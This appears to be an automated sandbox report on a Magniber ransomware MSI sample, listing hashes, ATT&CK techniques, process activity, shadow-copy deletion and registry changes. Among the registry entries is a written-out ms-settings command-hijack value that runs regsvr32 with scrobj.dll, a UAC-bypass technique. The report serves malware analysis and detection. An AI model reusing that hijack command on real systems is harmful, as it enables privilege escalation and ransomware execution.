magniber | 0e65657740d7f06acda53b7d3190f9728801b984d5bd6ccb0b865d218ae71f66

Analysis

max time kernel
148s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
15/04/2026, 17:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
0e65657740d7f06acda53b7d3190f9728801b984d5bd6ccb0b865d218ae71f66.msi
Size 164KB
Sample260415-we93csfv6n
SHA256 0e65657740d7f06acda53b7d3190f9728801b984d5bd6ccb0b865d218ae71f66
MD5 f49194f0e8ced22850d91f231829d877
SHA1 ea219929ce111462a9f35bfe45b895f6aec3a5fa
SHA512 ab5cdc78fa4771942c17ae147eca91845d06e30d412ddaa131f8b564c0c5263f3d1015d498df08f2e9de8aad9933781b73b198a48950719a0b61f20675eb8c6c
SSDEEP 3072:TjVPOgRLiWLsXnbEXR1NDxfbviIY3v0eY06V7TY3v0eY06V76Lx:TjVPOgRHL1XRZf+pvY0K76vY0K7qx
TLSH
T1EEF3F1423A049231ED534F32F1EACB659F36BD902BDA21932278F2D91B75B4007BB5D9
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution magniber impact persistence privilege_escalation ransomware

Malware Config

Signatures

Family: Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Detect magniber ransomware 1 IoCs

resource	yara_rule
behavioral1/memory/1624-308-0x0000020702A50000-0x0000020702A53000-memory.dmp	family_magniber

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Renames multiple (89) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

System Binary Proxy Execution: Regsvr32 1 TTPs 39 IoCs

Abuse Regsvr32 to proxy execution of malicious code.

defense_evasion

Regsvr32

T1218.010

pid	Process
4636	regsvr32.exe
2232	regsvr32.exe
552	regsvr32.exe
3528	regsvr32.exe
3068	regsvr32.exe
2524	regsvr32.exe
4872	regsvr32.exe
4492	regsvr32.exe
1532	regsvr32.exe
3596	regsvr32.exe
3012	regsvr32.exe
3248	regsvr32.exe
2508	regsvr32.exe
5384	regsvr32.exe
2176	regsvr32.exe
6136	regsvr32.exe
1216	regsvr32.exe
1676	regsvr32.exe
2248	regsvr32.exe
1396	regsvr32.exe
5984	regsvr32.exe
2300	regsvr32.exe
5232	regsvr32.exe
3220	regsvr32.exe
5004	regsvr32.exe
2520	regsvr32.exe
3352	regsvr32.exe
2072	regsvr32.exe
1576	regsvr32.exe
1528	regsvr32.exe
204	regsvr32.exe
3192	regsvr32.exe
5516	regsvr32.exe
5848	regsvr32.exe
5524	regsvr32.exe
4516	regsvr32.exe
4896	regsvr32.exe
3288	regsvr32.exe
264	regsvr32.exe

Executes dropped EXE 2 IoCs

pid	Process
2004	q1e5i8mfqk25.exe
5992	q1e5i8mfqk25.exe

Loads dropped DLL 1 IoCs

pid	Process
2872	MsiExec.exe

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	1112	msiexec.exe
7	1112	msiexec.exe
9	1112	msiexec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe

Suspicious use of SetThreadContext 15 IoCs

description	pid	Process	procid_target
PID 5992 set thread context of 1624	5992	q1e5i8mfqk25.exe	51
PID 5992 set thread context of 2660	5992	q1e5i8mfqk25.exe	52
PID 5992 set thread context of 1008	5992	q1e5i8mfqk25.exe	53
PID 5992 set thread context of 3252	5992	q1e5i8mfqk25.exe	56
PID 5992 set thread context of 3396	5992	q1e5i8mfqk25.exe	57
PID 5992 set thread context of 3584	5992	q1e5i8mfqk25.exe	58
PID 5992 set thread context of 3676	5992	q1e5i8mfqk25.exe	59
PID 5992 set thread context of 3740	5992	q1e5i8mfqk25.exe	60
PID 5992 set thread context of 3812	5992	q1e5i8mfqk25.exe	61
PID 5992 set thread context of 4072	5992	q1e5i8mfqk25.exe	62
PID 5992 set thread context of 4640	5992	q1e5i8mfqk25.exe	65
PID 5992 set thread context of 1868	5992	q1e5i8mfqk25.exe	76
PID 5992 set thread context of 5708	5992	q1e5i8mfqk25.exe	78
PID 5992 set thread context of 1112	5992	q1e5i8mfqk25.exe	84
PID 5992 set thread context of 2872	5992	q1e5i8mfqk25.exe	93

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\pl\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_956678697\_metadata\verified_contents.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\zh_TW\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\ms\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\lo\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\ar\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\ja\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\af\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\gu\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\hi\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\fil\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\ml\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\es\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\ur\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\tr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\am\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\hr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\bn\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\fa\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\si\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\fr_CA\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1757863579\deny_domains.list	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\iw\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\gl\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\el\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\uz\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\et\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\zh_CN\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\fr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_956678697\keys.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\bg\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\en_GB\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\en_CA\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_956678697\LICENSE	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\dasherSettingSchema.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\nl\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\ne\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\ro\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\fi\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\pt_BR\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\as\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\vi\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\ru\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\pa\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\sl\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\de\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\ta\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\zh_HK\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\hy\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_metadata\verified_contents.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\uk\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\pt_PT\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\id\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\lv\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\km\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\offscreendocument.html	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\128.png	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\th\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\lt\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\sv\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\page_embed_script.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1757863579\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping404_1609247978\_locales\es_419\messages.json	msedge.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI296C.tmp	msiexec.exe
File created	C:\Windows\Installer\SourceHash{3491456D-A574-4A61-85EA-54A700E258A7}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA351.tmp	msiexec.exe
File created	C:\Windows\Installer\e5828a3.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\e5828a1.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e5828a1.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
1112	msiexec.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4208	msedge.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000047d808843682dbf50000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff00000000270101000008000047d808840000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff00000000070001000068090047d80884000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1a47d80884000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d47d80884000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Interacts with shadow copies 3 TTPs 22 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3728	vssadmin.exe
5788	vssadmin.exe
3160	vssadmin.exe
5980	vssadmin.exe
5056	vssadmin.exe
6012	vssadmin.exe
5568	vssadmin.exe
4556	vssadmin.exe
4744	vssadmin.exe
5384	vssadmin.exe
3656	vssadmin.exe
268	vssadmin.exe
3944	vssadmin.exe
5688	vssadmin.exe
2748	vssadmin.exe
636	vssadmin.exe
5848	vssadmin.exe
4748	vssadmin.exe
692	vssadmin.exe
1104	vssadmin.exe
2988	vssadmin.exe
2368	vssadmin.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134207491272776556"	msedge.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:"	fodhelper.exe
Key created	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\ms-settings	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/hq81v2j71h5t"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/hq81v2j71h5t"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\Local Settings\MuiCache	fodhelper.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\Content\CacheVersion = "1"	fodhelper.exe
Key created	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\Local Settings	fodhelper.exe
Key created	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\Local Settings\MrtCache	fodhelper.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:"	fodhelper.exe
Key created	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\History	fodhelper.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CacheLimit = "51200"	fodhelper.exe
Key created	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\Local Settings\MrtCache	fodhelper.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/hq81v2j71h5t"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\ms-settings\shell\open\command	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/hq81v2j71h5t"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/hq81v2j71h5t"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CacheLimit = "1"	fodhelper.exe
Key created	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\Local Settings\MrtCache	fodhelper.exe
Key created	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\Local Settings	fodhelper.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/hq81v2j71h5t"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/hq81v2j71h5t"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\ms-settings\shell\open\command	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache	fodhelper.exe
Key created	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\Local Settings	fodhelper.exe
Key created	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache	fodhelper.exe
Key created	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\ms-settings\shell\open\command	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\ms-settings\shell\open\command\DelegateExecute	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\ms-settings\shell\open\command\DelegateExecute	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\ms-settings\shell\open\command	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\ms-settings\shell\open\command	regsvr32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\History\CacheVersion = "1"	fodhelper.exe
Key created	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings	fodhelper.exe
Key created	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies	fodhelper.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:"	fodhelper.exe
Key created	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\Local Settings\MuiCache	fodhelper.exe
Key created	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\ms-settings\shell	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\ms-settings\shell\open\command	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/hq81v2j71h5t"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\ms-settings\shell\open\command\DelegateExecute	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix	fodhelper.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\Content\CacheLimit = "51200"	fodhelper.exe
Key created	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\Local Settings\MuiCache	fodhelper.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/hq81v2j71h5t"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/hq81v2j71h5t"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\ms-settings\shell\open\command\DelegateExecute	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	fodhelper.exe
Key created	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\Local Settings	fodhelper.exe
Key created	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\ms-settings\shell\open\command	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\ms-settings\shell\open\command	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000_Classes\ms-settings\shell\open\command\DelegateExecute	regsvr32.exe
